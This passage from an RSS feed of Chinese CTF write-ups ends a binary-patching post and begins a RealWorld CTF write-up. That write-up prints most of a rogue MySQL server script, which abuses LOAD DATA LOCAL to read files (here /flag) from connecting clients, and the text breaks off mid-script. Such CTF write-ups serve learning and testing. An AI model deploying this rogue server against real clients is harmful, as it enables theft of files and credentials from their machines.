class="code-snippet__number">0</span>]</span></code></pre></section><p>修复方式即对坐标进行校验，如超出迷宫范围则退出。</p><p>在eh_frame段增加校验代码：</p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="476" data-ratio="0.226" style="width: 578px;height: 131px;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=2e3a3934&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHFfX0mL0fE04ghrX5egMY1Xw5l7JmMGJUqETA08RyTiarQw8tJZt0KGQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;">             <v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="448" data-cropsely1="0" data-cropsely2="369" data-ratio="0.8228155339805825" style="width: 448px;height: 369px;" data-type="png" data-w="824" src="https://wechat2rss.xlab.app/img-proxy/?k=f2d99231&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLLxVFd83IP8olZxvcpU7VHV9xSI3yxGPcBicIa5DMUOX3XuibpOnnQKmGVLDaNjy5EHu6ygnPwl4aw%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484502">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fac454aa&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247484502%26idx%3D1%26sn%3D2a0c09fef2daf11003270e02f8ba474e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Apr 2023 10:54:00 +0800</pubDate>
    </item>
    <item>
      <title>RealWorld CTF（体验赛）部分WP</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247484322&amp;idx=1&amp;sn=325181b272eec229da7b236941a473c3</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>Red0</span> <span>2023-01-09 17:58</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=09f4cc44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXoNbFJAH7ib5THiaorTTwdeh8OMDaDBpTicdjrvYM7x3Z4hQ9EQOiaiaGAOA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 24px;"><strong>0x1 羊了拼羊</strong></span></p><p>签到题。js代码搜索ctf找到flag</p><p><shapetype coordsize="21600,21600" spt="75" path="m@4@5l@4@11@9@11@9@5xe" preferrelative="t" filled="f" stroked="f"><stroke joinstyle="miter"></stroke><formulas><f eqn="if lineDrawn pixelLineWidth 0"></f><f eqn="sum @0 1 0"></f><f eqn="sum 0 0 @1"></f><f eqn="prod @2 1 2"></f><f eqn="prod @3 21600 pixelWidth"></f><f eqn="prod @3 21600 pixelHeight"></f><f eqn="sum @0 0 1"></f><f eqn="prod @6 1 2"></f><f eqn="prod @7 21600 pixelWidth"></f><f eqn="sum @8 21600 0"></f><f eqn="prod @7 21600 pixelHeight"></f><f eqn="sum @10 21600 0"></f></formulas><path extrusionok="f" gradientshapeok="t" connecttype="rect"></path><lock aspectratio="t"></lock></shapetype><shape type="#_x0000_t75" filled="t" fillcolor="#FFFFFF"><imagedata title="document_image_rId4"></imagedata></shape><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="236" data-cropsely1="0" data-cropsely2="145" data-ratio="0.3876146788990826" style="width: 374px;height: 145px;" data-type="png" data-w="436" src="https://wechat2rss.xlab.app/img-proxy/?k=341ff459&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXFSrHpg8o0RPl22OzibnaWbAjVCw0ZnjViawKxa3SLRqic1kkJqnmvNjXw%2F640%3Fwx_fmt%3Dpng"/></p><h1><span style="font-size: 24px;"><strong>0x2 Evil Mysql Server</strong></span></h1><p>Mysql恶意服务器读取文件的漏洞。可构建一个恶意的myql服务器读取靶机上的/flag文件。在github找到注册恶意mysql服务器的脚本，修改脚本中读取的文件为/flag。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#!/usr/bin/env python</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#coding: utf8</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import socket</span></code><code><span class="code-snippet_outer">import asyncore</span></code><code><span class="code-snippet_outer">import asynchat</span></code><code><span class="code-snippet_outer">import struct</span></code><code><span class="code-snippet_outer">import random</span></code><code><span class="code-snippet_outer">import logging</span></code><code><span class="code-snippet_outer">import logging.handlers</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">PORT = <span class="code-snippet__number">3306</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">log = logging.getLogger(__name_<span class="code-snippet__number">_</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">log.setLevel(logging.INFO)</span></code><code><span class="code-snippet_outer">tmp_format = logging.handlers.WatchedFileHandler(<span class="code-snippet__string">&#39;mysql.log&#39;</span>, <span class="code-snippet__string">&#39;ab&#39;</span>)</span></code><code><span class="code-snippet_outer">tmp_format.setFormatter(logging.Formatter(<span class="code-snippet__string">&#34;%(asctime)s:%(levelname)s:%(message)s&#34;</span>))</span></code><code><span class="code-snippet_outer">log.addHandler(</span></code><code><span class="code-snippet_outer">    tmp_format</span></code><code><span class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">filelist = (</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;/flag&#39;</span>,</span></code><code><span class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#================================================</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#=======No need to change after this lines=======</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#================================================</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">__author_<span class="code-snippet__number">_</span> = <span class="code-snippet__string">&#39;Gifts&#39;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">daemonize</span><span class="code-snippet__params">()</span></span>:</span></code><code><span class="code-snippet_outer">    import os, warnings</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> os.name != <span class="code-snippet__string">&#39;posix&#39;</span>:</span></code><code><span class="code-snippet_outer">        warnings.warn(<span class="code-snippet__string">&#39;Cant create daemon on non-posix system&#39;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> os.fork(): os._exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    os.setsid()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> os.fork(): os._exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    os.umask(0o022)</span></code><code><span class="code-snippet_outer">    null=os.open(<span class="code-snippet__string">&#39;/dev/null&#39;</span>, os.O_RDWR)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> xrange(<span class="code-snippet__number">3</span>):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__symbol">try:</span></span></code><code><span class="code-snippet_outer">            os.dup2(null, i)</span></code><code><span class="code-snippet_outer">        except OSError as <span class="code-snippet__symbol">e:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> e.errno != <span class="code-snippet__number">9</span>: raise</span></code><code><span class="code-snippet_outer">    os.close(null)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LastPacket</span>(<span class="code-snippet__title">Exception</span>):</span></span></code><code><span class="code-snippet_outer">    pass</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">OutOfOrder</span>(<span class="code-snippet__title">Exception</span>):</span></span></code><code><span class="code-snippet_outer">    pass</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">mysql_packet</span>(<span class="code-snippet__title">object</span>):</span></span></code><code><span class="code-snippet_outer">    packet_header = struct.Struct(<span class="code-snippet__string">&#39;&lt;Hbb&#39;</span>)</span></code><code><span class="code-snippet_outer">    packet_header_long = struct.Struct(<span class="code-snippet__string">&#39;&lt;Hbbb&#39;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>, packet_type, payload)</span></span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> isinstance(packet_type, mysql_packet):</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.packet_num = packet_type.packet_num + <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.packet_num = packet_type</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.payload = payload</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__str__</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>)</span></span>:</span></code><code><span class="code-snippet_outer">        payload_len = len(<span class="code-snippet__keyword">self</span>.payload)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> payload_len &lt; <span class="code-snippet__number">65536</span>:</span></code><code><span class="code-snippet_outer">            header = mysql_packet.packet_header.pack(payload_len, <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">self</span>.packet_num)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">            header = mysql_packet.packet_header.pack(payload_len &amp; <span class="code-snippet__number">0xFFFF</span>, payload_len <span class="code-snippet__meta">&gt;&gt; </span><span class="code-snippet__number">16</span>, <span class="code-snippet__number">0</span>, self.packet_num)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        result = <span class="code-snippet__string">&#34;{0}{1}&#34;</span>.format(</span></code><code><span class="code-snippet_outer">            header,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.payload</span></code><code><span class="code-snippet_outer">        )</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> result</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__repr__</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>)</span></span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> repr(str(<span class="code-snippet__keyword">self</span>))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    @staticmethod</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">parse</span><span class="code-snippet__params">(raw_data)</span></span>:</span></code><code><span class="code-snippet_outer">        packet_num = ord(raw_data[<span class="code-snippet__number">0</span>])</span></code><code><span class="code-snippet_outer">        payload = raw_data[<span class="code-snippet__number">1</span><span class="code-snippet__symbol">:</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> mysql_packet(packet_num, payload)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">http_request_handler</span>(<span class="code-snippet__title">asynchat</span>.<span class="code-snippet__title">async_chat</span>):</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>, addr)</span></span>:</span></code><code><span class="code-snippet_outer">        asynchat.async_chat.__init_<span class="code-snippet__number">_</span>(<span class="code-snippet__keyword">self</span>, sock=addr[<span class="code-snippet__number">0</span>])</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.addr = addr[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.ibuffer = []</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.set_terminator(<span class="code-snippet__number">3</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;LEN&#39;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.sub_state = <span class="code-snippet__string">&#39;Auth&#39;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.logined = False</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.push(</span></code><code><span class="code-snippet_outer">            mysql_packet(</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__number">0</span>,</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__string">&#34;&#34;</span>.join((</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__string">&#39;\x0a&#39;</span>,  <span class="code-snippet__comment"># Protocol</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__string">&#39;5.6.28-0ubuntu0.14.04.1&#39;</span> + <span class="code-snippet__string">&#39;\0&#39;</span>,</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__string">&#39;\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00&#39;</span>,</span></code><code><span class="code-snippet_outer">                ))            )</span></code><code><span class="code-snippet_outer">        )</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.order = <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.states = [<span class="code-snippet__string">&#39;LOGIN&#39;</span>, <span class="code-snippet__string">&#39;CAPS&#39;</span>, <span class="code-snippet__string">&#39;ANY&#39;</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">push</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>, data)</span></span>:</span></code><code><span class="code-snippet_outer">        log.debug(<span class="code-snippet__string">&#39;Pushed: %r&#39;</span>, data)</span></code><code><span class="code-snippet_outer">        data = str(data)</span></code><code><span class="code-snippet_outer">        asynchat.async_chat.push(<span class="code-snippet__keyword">self</span>, data)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">collect_incoming_data</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>, data)</span></span>:</span></code><code><span class="code-snippet_outer">        log.debug(<span class="code-snippet__string">&#39;Data recved: %r&#39;</span>, data)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.ibuffer.append(data)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">found_terminator</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>)</span></span>:</span></code><code><span class="code-snippet_outer">        data = <span class="code-snippet__string">&#34;&#34;</span>.join(<span class="code-snippet__keyword">self</span>.ibuffer)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">self</span>.ibuffer = []</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">self</span>.state == <span class="code-snippet__string">&#39;LEN&#39;</span>:</span></code><code><span class="code-snippet_outer">            len_bytes = ord(data[<span class="code-snippet__number">0</span>]) + <span class="code-snippet__number">256</span>*ord(data[<span class="code-snippet__number">1</span>]) + <span class="code-snippet__number">65536</span>*ord(data[<span class="code-snippet__number">2</span>]) + <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> len_bytes &lt; <span class="code-snippet__number">65536</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.set_terminator(len_bytes)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;Data&#39;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;MoreLength&#39;</span></span></code><code><span class="code-snippet_outer">        elif <span class="code-snippet__keyword">self</span>.state == <span class="code-snippet__string">&#39;MoreLength&#39;</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> data[<span class="code-snippet__number">0</span>] != <span class="code-snippet__string">&#39;\0&#39;</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.push(None)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.close_when_done()</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;Data&#39;</span></span></code><code><span class="code-snippet_outer">        elif <span class="code-snippet__keyword">self</span>.state == <span class="code-snippet__string">&#39;Data&#39;</span>:</span></code><code><span class="code-snippet_outer">            packet = mysql_packet.parse(data)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__symbol">try:</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">self</span>.order != packet.<span class="code-snippet__symbol">packet_num:</span></span></code><code><span class="code-snippet_outer">                    raise OutOfOrder()</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment"># Fix ?</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">self</span>.order = packet.packet_num + <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> packet.packet_num == <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> packet.payload[<span class="code-snippet__number">0</span>] == <span class="code-snippet__string">&#39;\x03&#39;</span>:</span></code><code><span class="code-snippet_outer">                        log.info(<span class="code-snippet__string">&#39;Query&#39;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        filename = random.choice(filelist)</span></code><code><span class="code-snippet_outer">                        PACKET = mysql_packet(</span></code><code><span class="code-snippet_outer">                            packet,</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__string">&#39;\xFB{0}&#39;</span>.format(filename)</span></code><code><span class="code-snippet_outer">                        )</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.set_terminator(<span class="code-snippet__number">3</span>)</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;LEN&#39;</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.sub_state = <span class="code-snippet__string">&#39;File&#39;</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.push(PACKET)</span></code><code><span class="code-snippet_outer">                    elif packet.payload[<span class="code-snippet__number">0</span>] == <span class="code-snippet__string">&#39;\x1b&#39;</span>:</span></code><code><span class="code-snippet_outer">                        log.info(<span class="code-snippet__string">&#39;SelectDB&#39;</span>)</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.push(mysql_packet(</span></code><code><span class="code-snippet_outer">                            packet,</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__string">&#39;\xfe\x00\x00\x02\x00&#39;</span></span></code><code><span class="code-snippet_outer">                        ))</span></code><code><span class="code-snippet_outer">                        raise LastPacket()</span></code><code><span class="code-snippet_outer">                    elif packet.payload[<span class="code-snippet__number">0</span>] <span class="code-snippet__keyword">in</span> <span class="code-snippet__string">&#39;\x02&#39;</span>:</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.push(mysql_packet(</span></code><code><span class="code-snippet_outer">                            packet, <span class="code-snippet__string">&#39;\0\0\0\x02\0\0\0&#39;</span></span></code><code><span class="code-snippet_outer">                        ))</span></code><code><span class="code-snippet_outer">                        raise LastPacket()</span></code><code><span class="code-snippet_outer">                    elif packet.payload == <span class="code-snippet__string">&#39;\x00\x01&#39;</span>:</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.push(None)</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.close_when_done()</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                        raise ValueError()</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">self</span>.sub_state == <span class="code-snippet__string">&#39;File&#39;</span>:</span></code><code><span class="code-snippet_outer">                        log.info(<span class="code-snippet__string">&#39;-- result&#39;</span>)</span></code><code><span class="code-snippet_outer">                        log.info(<span class="code-snippet__string">&#39;Result: %r&#39;</span>, data)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> len(data) == <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">self</span>.push(</span></code><code><span class="code-snippet_outer">                                mysql_packet(packet, <span class="code-snippet__string">&#39;\0\0\0\x02\0\0\0&#39;</span>)</span></code><code><span class="code-snippet_outer">                            )</span></code><code><span class="code-snippet_outer">                            raise LastPacket()</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">self</span>.set_terminator(<span class="code-snippet__number">3</span>)</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;LEN&#39;</span></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">self</span>.order = packet.packet_num + <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    elif <span class="code-snippet__keyword">self</span>.sub_state == <span class="code-snippet__string">&#39;Auth&#39;</span>:</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">self</span>.push(mysql_packet(</span></code><code><span class="code-snippet_outer">                            packet, <span class="code-snippet__string">&#39;\0\0\0\x02\0\0\0&#39;</span></span></code><code><span class="code-snippet_outer">                        ))</span></code><code><span class="code-snippet_outer">                        raise LastPacket()</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">                        log.info(<span class="code-snippet__string">&#39;-- else&#39;</span>)</span></code><code><span class="code-snippet_outer">                        raise ValueError(<span class="code-snippet__string">&#39;Unknown packet&#39;</span>)</span></code><code><span class="code-snippet_outer">            except <span class="code-snippet__symbol">LastPacket:</span></span></code><code><span class="code-snippet_outer">                log.info(<span class="code-snippet__string">&#39;Last packet&#39;</span>)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.state = <span class="code-snippet__string">&#39;LEN&#39;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.sub_state = None</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.order = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.set_terminator(<span class="code-snippet__number">3</span>)</span></code><code><span class="code-snippet_outer">            except <span class="code-snippet__symbol">OutOfOrder:</span></span></code><code><span class="code-snippet_outer">                log.warning(<span class="code-snippet__string">&#39;Out of order&#39;</span>)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.push(None)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.close_when_done()</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">            log.error(<span class="code-snippet__string">&#39;Unknown state&#39;</span>)</span></code><code><span class="code-snippet_outer">            